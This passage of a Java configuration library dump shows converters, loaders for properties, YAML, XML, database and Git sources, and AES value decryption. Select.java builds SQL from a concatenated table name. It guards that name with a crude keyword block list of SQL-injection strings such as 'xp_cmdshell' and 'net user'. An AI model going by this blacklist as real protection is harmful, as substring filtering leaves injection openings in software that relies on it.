    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class CharConvert implements Convert<Character> {\n\n    @Override\n    public Character convert(Object obj) {\n        if (obj == null) {\n            return null;\n        }\n        if (obj instanceof Character) {\n            return ((Character) obj);\n        } else {\n            return String.valueOf(obj).toCharArray()[0];\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/DoubleConvert.java",
    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class DoubleConvert implements Convert<Double> {\n\n    @Override\n    public Double convert(Object obj) {\n        if(obj == null){\n            return null;\n        }\n        if(obj instanceof Number){\n            return ((Number) obj).doubleValue();\n        } else {\n            return Double.valueOf(String.valueOf(obj));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/FloatConvert.java",
    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class FloatConvert implements Convert<Float> {\n\n    @Override\n    public Float convert(Object obj) {\n        if(obj == null){\n            return null;\n        }\n        if(obj instanceof Number){\n            return ((Number) obj).floatValue();\n        } else {\n            return Float.valueOf(String.valueOf(obj));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/IntegerConvert.java",
    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class IntegerConvert implements Convert<Integer> {\n\n    @Override\n    public Integer convert(Object obj) {\n        if(obj == null){\n            return null;\n        }\n        if(obj instanceof Number){\n            return ((Number) obj).intValue();\n        } else {\n            return Integer.valueOf(String.valueOf(obj));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/LongConvert.java",
    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class LongConvert implements Convert<Long> {\n\n    @Override\n    public Long convert(Object obj) {\n        if(obj == null){\n            return null;\n        }\n        if(obj instanceof Number){\n            return ((Number) obj).longValue();\n        } else {\n            return Long.valueOf(String.valueOf(obj));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/StringConvert.java",
    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class StringConvert implements Convert<String> {\n\n    @Override\n    public String convert(Object obj) {\n        if (obj == null) {\n            return null;\n        }\n        if (obj instanceof String) {\n            return (String) obj;\n        } else {\n            return String.valueOf(obj);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/core/AbstractResourceName.java",
    "content": "package com.jun.plugin.resources.core;\n\nimport com.jun.plugin.resources.PrefixConstants;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\n\n/**\n * profile资源名处理\n * Created By Hong on 2018/8/17\n **/\npublic abstract class AbstractResourceName {\n\n    /**\n     * 获取前缀名\n     *\n     * @return classpath, file, db, git\n     */\n    public String getPrefixName(String sourceName) {\n        int index = sourceName.indexOf(\":\");\n        if (index > -1) {\n            return sourceName.substring(0, index).toLowerCase();\n        } else {\n            return \"\";\n        }\n    }\n\n    /**\n     * 获取后缀名\n     *\n     * @return yml, yaml, xml, properties\n     */\n    public String getSuffixName(String sourceName) {\n        int index = sourceName.lastIndexOf(\".\");\n        if (index > -1) {\n            return sourceName.substring(index + 1).toLowerCase();\n        } else {\n            return \"\";\n        }\n    }\n\n    /**\n     * 是否是Classpath包内文件\n     *\n     * @param prefixName 前缀\n     * @return trur 是包内文件\n     */\n    protected boolean isClassFile(String prefixName) {\n        if (PrefixConstants.CLASS.equalsIgnoreCase(prefixName)) {\n            return true;\n        }\n        return false;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/core/AbstractResources.java",
    "content": "package com.jun.plugin.resources.core;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.ReadResources;\nimport com.jun.plugin.resources.Resources;\nimport com.jun.plugin.resources.convert.impl.*;\n\n/**\n * Created by Hong on 2017/12/26.\n */\npublic abstract class AbstractResources implements ReadResources, Resources {\n\n    protected Map<Object, Object> map = new HashMap<>();\n\n    @Override\n    public Map<Object, Object> getResources() {\n        return map;\n    }\n\n    @Override\n    public void writeLocalProperties() {\n        for (Object key : this.getResources().keySet()) {\n            System.setProperty((String) key, (String) this.getResources().get(key));\n        }\n    }\n\n    @Override\n    public String getValue(String key) {\n        return getResources() == null ? null : new StringConvert().convert(getResources().get(key));\n    }\n\n    @Override\n    public Boolean getBooleanValue(String key) {\n        return getResources() == null ? null : new BooleanConvert().convert(getResources().get(key));\n    }\n\n    @Override\n    public Integer getIntegerValue(String key) {\n        return getResources() == null ? null : new IntegerConvert().convert(getResources().get(key));\n    }\n\n    @Override\n    public Float getFloatValue(String key) {\n        return getResources() == null ? null : new FloatConvert().convert(getResources().get(key));\n    }\n\n    @Override\n    public Double getDoubleValue(String key) {\n        return getResources() == null ? null : new DoubleConvert().convert(getResources().get(key));\n    }\n\n    @Override\n    public Character getCharValue(String key) {\n        return getResources() == null ? null : new CharConvert().convert(getResources().get(key));\n    }\n\n    @Override\n    public Object get(String key) {\n        return getResources() == null ? null : getResources().get(key);\n    }\n\n    @Override\n    public void clear() {\n        if (getResources() != null) {\n            getResources().clear();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/core/AutoResources.java",
    "content": "package com.jun.plugin.resources.core;\n\nimport java.io.IOException;\nimport java.util.Collections;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.PrefixConstants;\nimport com.jun.plugin.resources.Resources;\nimport com.jun.plugin.resources.SuffixConstants;\nimport com.jun.plugin.resources.convert.impl.*;\nimport com.jun.plugin.resources.extend.*;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\nimport com.jun.plugin.resources.utils.StringUtils;\n\n/**\n * 自动识别资源格式并读取，支持ant.core.resources.profile配置\n * Created by Hong on 2017/12/27.\n */\npublic class AutoResources extends AbstractResourceName implements Resources {\n\n    private Resources resources;\n\n    public AutoResources(String name) throws IOException {\n        String prefixName = getPrefixName(name);\n        String propertiesName = ResourcesUtils.getPropertiesName(name);\n        //获取修正后的正确资源名\n        if (PrefixConstants.DB.equalsIgnoreCase(prefixName)) {\n            //来源 Db\n            DbResources resources = new DbResources();\n            if (StringUtils.isEmpty(propertiesName)) {\n                resources.load();\n            } else {\n                resources.load(propertiesName);\n            }\n            this.resources = resources;\n            return;\n        } else if (PrefixConstants.GIT.equalsIgnoreCase(prefixName)) {\n            //来源 Git\n            GitResources resources = new GitResources();\n            if (StringUtils.isEmpty(propertiesName)) {\n                resources.load();\n            } else {\n                resources.load(propertiesName);\n            }\n            this.resources = resources;\n            return;\n        }\n\n        String suffixName = getSuffixName(name);\n        if (SuffixConstants.YAML.equalsIgnoreCase(suffixName) || SuffixConstants.YML.equalsIgnoreCase(suffixName)) {\n            //Yaml资源\n            YamlResources resources = new YamlResources();\n            if (super.isClassFile(prefixName)) {\n                resources.loadByClassPath(propertiesName);\n            } else {\n                resources.loadByFilePath(propertiesName);\n            }\n            this.resources = resources;\n        } else if (SuffixConstants.PROPERTIES.equalsIgnoreCase(suffixName)) {\n            //Properties资源\n            PropertiesResources resources = new PropertiesResources();\n            if (super.isClassFile(prefixName)) {\n                resources.loadByClassPath(propertiesName);\n            } else {\n                resources.loadByFilePath(propertiesName);\n            }\n            this.resources = resources;\n        } else if (SuffixConstants.XML.equalsIgnoreCase(suffixName)) {\n            //Xml资源\n            XmlResources resources = new XmlResources();\n            if (super.isClassFile(prefixName)) {\n                resources.loadByClassPath(propertiesName);\n            } else {\n                resources.loadByFilePath(propertiesName);\n            }\n            this.resources = resources;\n        }\n    }\n\n    @Override\n    public Map<Object, Object> getResources() {\n        if (resources != null) {\n            return resources.getResources();\n        }\n        return Collections.emptyMap();\n    }\n\n    @Override\n    public void writeLocalProperties() {\n        resources.writeLocalProperties();\n    }\n\n    @Override\n    public String getValue(String key) {\n        return resources == null ? null : new StringConvert().convert(resources.getResources().get(key));\n    }\n\n    @Override\n    public Boolean getBooleanValue(String key) {\n        return resources == null ? null : new BooleanConvert().convert(resources.getResources().get(key));\n    }\n\n    @Override\n    public Integer getIntegerValue(String key) {\n        return resources == null ? null : new IntegerConvert().convert(resources.getResources().get(key));\n    }\n\n    @Override\n    public Float getFloatValue(String key) {\n        return resources == null ? null : new FloatConvert().convert(resources.getResources().get(key));\n    }\n\n    @Override\n    public Double getDoubleValue(String key) {\n        return resources == null ? null : new DoubleConvert().convert(resources.getResources().get(key));\n    }\n\n    @Override\n    public Character getCharValue(String key) {\n        return resources == null ? null : new CharConvert().convert(resources.getResources().get(key));\n    }\n\n    @Override\n    public Object get(String key) {\n        return resources == null ? null : resources.getResources().get(key);\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() {\n        return resources.getResources();\n    }\n\n    @Override\n    public void clear() {\n        this.resources.clear();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/core/properties/DbProperties.java",
    "content": "package com.jun.plugin.resources.core.properties;\n\nimport java.util.Hashtable;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport com.jun.plugin.resources.Constants;\nimport com.jun.plugin.resources.db.DbUtils;\nimport com.jun.plugin.resources.db.select.Select;\nimport com.jun.plugin.resources.encrypt.ResourceEncrypt;\n\n/**\n * Created By Hong on 2018/7/30\n **/\npublic class DbProperties extends Hashtable<Object, Object> {\n\n    /**\n     * 创建没有默认资源的空资源\n     */\n    public DbProperties() {\n        super();\n    }\n\n    /***\n     * 创建有默认资源的非空资源\n     * @param defaults  默认\n     */\n    public DbProperties(Properties defaults) {\n        super(defaults);\n    }\n\n    public synchronized Object setProperty(String key, String value) {\n        return super.put(key, value);\n    }\n\n    public synchronized void load(String tableName) {\n        String sql = new Select()\n                .table(tableName)\n                .columnAll()\n                .toString();\n        List<Map<String, Object>> list = DbUtils.select(sql);\n        for (Map<String, Object> item : list) {\n            this.put(item.get(Constants.DB_CONFIG_KEY), ResourceEncrypt.value(item.get(Constants.DB_CONFIG_VALUE)));\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/core/properties/GitProperties.java",
    "content": "package com.jun.plugin.resources.core.properties;\n\nimport java.io.IOException;\nimport java.util.Hashtable;\nimport java.util.List;\nimport java.util.Properties;\n\nimport com.jun.plugin.resources.Resources;\nimport com.jun.plugin.resources.core.AutoResources;\nimport com.jun.plugin.resources.repository.RemoteRepository;\nimport com.jun.plugin.resources.repository.git.GitCore;\nimport com.jun.plugin.resources.utils.FileUtils;\n\n/**\n * Created By Hong on 2018/8/13\n **/\npublic class GitProperties extends Hashtable<Object, Object> {\n\n    /**\n     * Git远程仓库\n     */\n    private static final RemoteRepository remoteRepository = new GitCore();\n\n    static {\n        //初始化时，克隆仓库\n        remoteRepository.cloneRepository();\n    }\n\n    {\n        //对象创建时，从仓库重新拉取一下最新的资源\n        remoteRepository.pullRepository();\n    }\n\n    /**\n     * 创建没有默认资源的空资源\n     */\n    public GitProperties() {\n        super();\n    }\n\n    /***\n     * 创建有默认资源的非空资源\n     * @param defaults  默认\n     */\n    public GitProperties(Properties defaults) {\n        super(defaults);\n    }\n\n    public synchronized Object setProperty(String key, String value) {\n        return super.put(key, value);\n    }\n\n    public synchronized void load() {\n        List<String> list = remoteRepository.listFileAll();\n        for (String var1 : list) {\n            this.load(var1);\n        }\n    }\n\n    public synchronized void load(String... name) {\n        List<String> list = remoteRepository.listFileAll();\n        for (String var1 : name) {\n            for (String var2 : list) {\n                if (FileUtils.getFileName(var2).contains(var1)) {\n                    this.load(var2);\n                    break;\n                }\n            }\n        }\n    }\n\n    private synchronized void load(String filePath) {\n        try {\n            Resources resources = new AutoResources(\"file:\" + filePath);\n            super.putAll(resources.getResources());\n        } catch (IOException e) {\n\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/core/properties/YamlProperties.java",
    "content": "package com.jun.plugin.resources.core.properties;\n\nimport org.yaml.snakeyaml.Yaml;\n\nimport com.jun.plugin.resources.encrypt.ResourceEncrypt;\nimport com.jun.plugin.resources.utils.StringUtils;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Hashtable;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * Yaml解析器；目前只支持纯key value模式\n * Created by Hong on 2017/12/27.\n */\npublic class YamlProperties extends Hashtable<Object, Object> {\n\n    private final static String ANNOTATION = \"#\";\n\n    /**\n     * 创建没有默认资源的空资源\n     */\n    public YamlProperties() {\n        super();\n    }\n\n    /***\n     * 创建有默认资源的非空资源\n     * @param defaults  默认\n     */\n    public YamlProperties(Properties defaults) {\n        super(defaults);\n    }\n\n    public synchronized Object setProperty(String key, String value) {\n        return super.put(key, value);\n    }\n\n    public synchronized void load(InputStream inStream) throws IOException {\n        Yaml yaml = new Yaml();\n        Map<Object, Object> kvs = yaml.load(inStream);\n        getValue(\"\", kvs);\n    }\n\n    /**\n     * 获取Key Value\n     *\n     * @param key 新Key\n     * @param map key对象的集合\n     */\n    private void getValue(String key, Map<Object, Object> map) {\n        if (map == null) {\n            return;\n        }\n        Iterator<Object> iterator = map.keySet().iterator();\n        while (iterator.hasNext()) {\n            String text = key;\n            Object keys = iterator.next();\n            if (StringUtils.isNotEmpty(text)) {\n                text += \".\";\n            }\n            text += keys;\n            Object value = map.get(keys);\n            if (value instanceof Map) {\n                getValue(text, (Map<Object, Object>) value);\n            } else {\n                if (value != null) {\n                    super.put(text, ResourceEncrypt.value(value));\n                }\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/db/DbUtils.java",
    "content": "package com.jun.plugin.resources.db;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Created By Hong on 2018/7/31\n **/\npublic final class DbUtils {\n\n    private static final Logger LOG = LoggerFactory.getLogger(DbUtils.class);\n\n    private static final JdbcTemplate JDBC_TEMPLATE = JdbcUtils.getJdbcTemplate();\n\n    /**\n     * 查询返回集合\n     *\n     * @param sql sql语句\n     * @return 配置集合\n     */\n    public static List<Map<String, Object>> select(String sql) {\n        try {\n            return JDBC_TEMPLATE.queryForList(sql);\n        } catch (Exception e) {\n            if (LOG.isErrorEnabled()) {\n                LOG.error(\"Query Fail.\", e);\n            }\n            return new ArrayList<>();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/db/JdbcUtils.java",
    "content": "package com.jun.plugin.resources.db;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport com.jun.plugin.resources.Constants;\nimport com.jun.plugin.resources.KeyConstants;\nimport com.jun.plugin.resources.config.Config;\nimport com.jun.plugin.resources.config.GlobalConfig;\nimport com.jun.plugin.resources.db.datasource.AbstractDataSource;\nimport com.jun.plugin.resources.utils.StringUtils;\n\nimport javax.sql.DataSource;\nimport java.lang.reflect.Constructor;\n\n/**\n * Created By Hong on 2018/7/30\n **/\npublic final class JdbcUtils {\n\n    private static final Logger LOG = LoggerFactory.getLogger(JdbcUtils.class);\n\n    /**\n     * 配置属性\n     **/\n    private static Config CONFIG = GlobalConfig.get();\n\n    /**\n     * 获取数据连接池\n     *\n     * @return DataSource\n     */\n    private static DataSource getDataSource() {\n        DataSource dataSource = null;\n        try {\n            String clazzName = CONFIG.getValue(KeyConstants.DB_DATA_SOURCE);\n            if (StringUtils.isEmpty(clazzName)) {\n                clazzName = Constants.DB_DEFAULT_DATA_SOURCE;\n            }\n            Class<?> clazz = Class.forName(clazzName);\n            if (clazz != null) {\n                //实例化AbstractDataSource\n                Constructor<AbstractDataSource> constructor = (Constructor<AbstractDataSource>) clazz\n                        .getConstructor(String.class, String.class, String.class, String.class);\n                AbstractDataSource abstractDataSource = constructor.newInstance(CONFIG.getValue(KeyConstants.DB_DRIVER_CLASS_NAME), CONFIG.getValue(KeyConstants.DB_URL),\n                        CONFIG.getValue(KeyConstants.DB_USERNAME), CONFIG.getValue(KeyConstants.DB_PASSWORD));\n                if (abstractDataSource != null) {\n                    //获取DataSource\n                    dataSource = abstractDataSource.getDataSource();\n                }\n            }\n        } catch (Exception e) {\n            if (LOG.isErrorEnabled()) {\n                LOG.error(\"DataSource access failed.\", e);\n            }\n            throw new IllegalArgumentException(\"DataSource access failed.\");\n        }\n        return dataSource;\n    }\n\n    /**\n     * 获取JDBC模板\n     *\n     * @return JdbcTemplate\n     */\n    public static JdbcTemplate getJdbcTemplate() {\n        JdbcTemplate jdbcTemplate = new JdbcTemplate();\n        jdbcTemplate.setDataSource(getDataSource());\n        return jdbcTemplate;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/db/datasource/AbstractDataSource.java",
    "content": "package com.jun.plugin.resources.db.datasource;\n\nimport javax.sql.DataSource;\n\n/**\n * 数据库连接池\n * Created By Hong on 2018/8/17\n **/\npublic abstract class AbstractDataSource {\n\n    private final String driverClass;\n    private final String jdbcUrl;\n    private final String username;\n    private final String password;\n\n    public AbstractDataSource(String driverClass, String jdbcUrl, String username, String password) {\n        this.driverClass = driverClass;\n        this.jdbcUrl = jdbcUrl;\n        this.username = username;\n        this.password = password;\n    }\n\n    /**\n     * 获取连接池\n     *\n     * @return DataSource\n     */\n    public abstract DataSource getDataSource();\n\n    public String getDriverClass() {\n        return driverClass;\n    }\n\n    public String getJdbcUrl() {\n        return jdbcUrl;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/db/datasource/DefaultDataSource.java",
    "content": "package com.jun.plugin.resources.db.datasource;\n\nimport com.alibaba.druid.pool.DruidDataSource;\n\nimport javax.sql.DataSource;\n\n/**\n * 默认连接池\n * 需要导入com.alibaba.druid连接池\n * Created By Hong on 2018/8/17\n **/\npublic class DefaultDataSource extends AbstractDataSource {\n\n    public DefaultDataSource(String driverClass, String jdbcUrl, String username, String password) {\n        super(driverClass, jdbcUrl, username, password);\n    }\n\n    @Override\n    public DataSource getDataSource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        dataSource.setDriverClassName(super.getDriverClass());\n        dataSource.setUrl(super.getJdbcUrl());\n        dataSource.setUsername(super.getUsername());\n        dataSource.setPassword(super.getPassword());\n        return dataSource;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/db/select/Select.java",
    "content": "package com.jun.plugin.resources.db.select;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.utils.ArrayUtils;\n\n/**\n * 查询SQL构造器\n * Created By Hong on 2018/7/31\n **/\npublic final class Select {\n\n    private StringBuilder builder = new StringBuilder();\n\n    public Select() {\n        builder.append(\"select  \");\n    }\n\n    /**\n     * 设置表名\n     *\n     * @param name 表名\n     * @return Column构造器\n     */\n    public SelectColumn table(String name) {\n        if (judgeXSS(name)) {\n            throw new IllegalArgumentException(\"Table name error.\");\n        }\n        builder.append(\"from \")\n                .append(name);\n        return new SelectColumn(builder);\n    }\n\n    /**\n     * 构造数据库列\n     */\n    public static class SelectColumn {\n\n        private final StringBuilder builder;\n\n        public SelectColumn(StringBuilder builder) {\n            this.builder = builder;\n        }\n\n        /**\n         * 指定列\n         *\n         * @param column 列数组\n         * @return Column构造器\n         */\n        public SelectColumn column(String... column) {\n            String var1 = ArrayUtils.toString(column);\n            builder.insert(7, var1);\n            return this;\n        }\n\n        /**\n         * 全部列\n         *\n         * @return Column构造器\n         */\n        public SelectColumn columnAll() {\n            String var1 = \"*\";\n            builder.insert(7, var1);\n            return this;\n        }\n\n        @Override\n        public String toString() {\n            return builder.toString();\n        }\n    }\n\n    @Override\n    public String toString() {\n        return builder.toString();\n    }\n\n    /**\n     * 判断参数是否含有攻击串（最简单粗暴的方式）\n     *\n     * @param value\n     * @return\n     */\n\n    public boolean judgeXSS(String value) {\n        if (value == null || \"\".equals(value)) {\n            return false;\n        }\n        String xssStr = \"'|and|exec|execute|insert|select|delete|update|count|drop|*|%|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|or|-|+|,|like'\" +\n                \"|and|exec|execute|insert|create|drop|table|from|grant|use|group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|chr|\" +\n                \"mid|master|truncate|char|declare|or|;|-|--|+|,|like|//|/|%|#\";\n        String[] xssArr = xssStr.split(\"\\\\|\");\n        for (int i = 0; i < xssArr.length; i++) {\n            if (value.indexOf(xssArr[i]) > -1) {\n                return true;\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/encrypt/ResourceEncrypt.java",
    "content": "package com.jun.plugin.resources.encrypt;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.utils.AES;\n\n/**\n * 资源解密\n * Created by Hong on 2019/4/21\n */\npublic final class ResourceEncrypt {\n\n    private static String key;\n\n    /**\n     * 设置密钥\n     *\n     * @param key 密钥\n     */\n    public static void use(String key) {\n        ResourceEncrypt.key = key;\n    }\n\n    /**\n     * 解密Value值\n     *\n     * @param value Value\n     * @return 解密后的值\n     */\n    public static Object value(Object value) {\n        if (key == null || value == null) {\n            return value;\n        }\n        if (!(value instanceof String)) {\n            return value;\n        }\n        String valueStr = (String) value;\n        if (valueStr.startsWith(\"E|\")) {\n            valueStr = valueStr.substring(2);\n            return AES.decrypt(valueStr, key);\n        }\n        return valueStr;\n    }\n\n    /**\n     * 解密全部Value值\n     *\n     * @param resources 资源组\n     * @return 解密后的新资源\n     */\n    public static Map<Object, Object> value(Map<Object, Object> resources) {\n        if (resources == null || resources.isEmpty()) {\n            return resources;\n        }\n        Map<Object, Object> newResources = new HashMap<>();\n        Iterator<Object> iterator = resources.keySet().iterator();\n        while (iterator.hasNext()) {\n            Object key = iterator.next();\n            Object value = resources.get(key);\n            newResources.put(key, ResourceEncrypt.value(value));\n        }\n        return newResources;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/extend/DbResources.java",
    "content": "package com.jun.plugin.resources.extend;\n\nimport java.io.InputStream;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.KeyConstants;\nimport com.jun.plugin.resources.config.GlobalConfig;\nimport com.jun.plugin.resources.core.AbstractResources;\nimport com.jun.plugin.resources.core.properties.DbProperties;\nimport com.jun.plugin.resources.encrypt.ResourceEncrypt;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\n\n/**\n * \n * Created By Hong on 2018/7/30\n **/\npublic final class DbResources extends AbstractResources {\n\n    public void load() {\n        DbProperties properties = new DbProperties();\n        properties.load(GlobalConfig.get().getValue(KeyConstants.DB_TABLE_NAME));\n        map.putAll(ResourceEncrypt.value(properties));\n    }\n\n    public void load(String tableName) {\n        DbProperties properties = new DbProperties();\n        properties.load(tableName);\n        map.putAll(ResourceEncrypt.value(properties));\n    }\n\n    @Override\n    public void load(InputStream is) {\n\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() {\n        return map;\n    }\n\n    @Override\n    public void clear() {\n        map.clear();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/extend/GitResources.java",
    "content": "package com.jun.plugin.resources.extend;\n\nimport java.io.InputStream;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.core.AbstractResources;\nimport com.jun.plugin.resources.core.properties.GitProperties;\n\n/**\n * \n * Created By Hong on 2018/8/13\n **/\npublic final class GitResources extends AbstractResources {\n\n    public void load() {\n        GitProperties properties = new GitProperties();\n        properties.load();\n        map.putAll(properties);\n    }\n\n    public void load(String... name) {\n        GitProperties properties = new GitProperties();\n        properties.load(name);\n        map.putAll(properties);\n    }\n\n    @Override\n    public void load(InputStream is) {\n\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() {\n        return map;\n    }\n\n    @Override\n    public void clear() {\n        map.clear();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/extend/PropertiesResources.java",
    "content": "package com.jun.plugin.resources.extend;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport com.jun.plugin.resources.core.AbstractResources;\nimport com.jun.plugin.resources.encrypt.ResourceEncrypt;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\n\n/**\n * Created by Hong on 2017/12/26.\n */\npublic final class PropertiesResources extends AbstractResources {\n\n    /**\n     * 从class中读取资源\n     *\n     * @param path 包路径（/区分路径层级关系）\n     * @throws IOException IOException\n     */\n    public void loadByClassPath(String path) throws IOException {\n        this.load(ResourcesUtils.classInputStream(path));\n    }\n\n    /**\n     * 从文件中读取资源\n     *\n     * @param file 文件\n     * @throws IOException IOException\n     */\n    public void loadByFile(File file) throws IOException {\n        if (file.exists()) {\n            this.load(new FileInputStream(file));\n        }\n    }\n\n    /**\n     * 从指定路径中读取资源\n     *\n     * @param path 路径\n     * @throws IOException IOException\n     */\n    public void loadByFilePath(String path) throws IOException {\n        this.loadByFile(new File(path));\n    }\n\n\n    @Override\n    public void load(InputStream is) throws IOException {\n        if (is == null) {\n            return;\n        }\n        Properties properties = new Properties();\n        properties.load(is);\n        map.putAll(ResourceEncrypt.value(properties));\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() {\n        return map;\n    }\n\n    @Override\n    public void clear() {\n        map.clear();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/extend/XmlResources.java",
    "content": "package com.jun.plugin.resources.extend;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport com.jun.plugin.resources.core.AbstractResources;\nimport com.jun.plugin.resources.encrypt.ResourceEncrypt;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\n\n/**\n * Created by Hong on 2017/12/26.\n */\npublic final class XmlResources extends AbstractResources {\n\n    /**\n     * 从class中读取资源\n     *\n     * @param path 包路径（/区分路径层级关系）\n     * @throws IOException IOException\n     */\n    public void loadByClassPath(String path) throws IOException {\n        this.load(ResourcesUtils.classInputStream(path));\n    }\n\n    /**\n     * 从文件中读取资源\n     *\n     * @param file 文件\n     * @throws IOException IOException\n     */\n    public void loadByFile(File file) throws IOException {\n        this.load(new FileInputStream(file));\n    }\n\n    /**\n     * 从指定路径中读取资源\n     *\n     * @param path 路径\n     * @throws IOException IOException\n     */\n    public void loadByFilePath(String path) throws IOException {\n        this.loadByFile(new File(path));\n    }\n\n    @Override\n    public void load(InputStream is) throws IOException {\n        if (is == null) {\n            return;\n        }\n        Properties properties = new Properties();\n        properties.loadFromXML(is);\n        map.putAll(ResourceEncrypt.value(properties));\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() {\n        return map;\n    }\n\n    @Override\n    public void clear() {\n        map.clear();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/extend/YamlResources.java",
    "content": "package com.jun.plugin.resources.extend;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Map;\n\nimport com.jun.plugin.resources.core.AbstractResources;\nimport com.jun.plugin.resources.core.properties.YamlProperties;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\n\n/**\n * Created by Hong on 2017/12/26.\n */\npublic final class YamlResources extends AbstractResources {\n\n    /**\n     * 从class中读取资源\n     *\n     * @param path 包路径（/区分路径层级关系）\n     * @throws IOException IOException\n     */\n    public void loadByClassPath(String path) throws IOException {\n        this.load(ResourcesUtils.classInputStream(path));\n    }\n\n    /**\n     * 从文件中读取资源\n     *\n     * @param file 文件\n     * @throws IOException IOException\n     */\n    public void loadByFile(File file) throws IOException {\n        this.load(new FileInputStream(file));\n    }\n\n    /**\n     * 从指定路径中读取资源\n     *\n     * @param path 路径\n     * @throws IOException IOException\n     */\n    public void loadByFilePath(String path) throws IOException {\n        this.loadByFile(new File(path));\n    }\n\n\n    @Override\n    public void load(InputStream is) throws IOException {\n        if (is == null) {\n            return;\n        }\n        YamlProperties properties = new YamlProperties();\n        properties.load(is);\n        map.putAll(properties);\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() 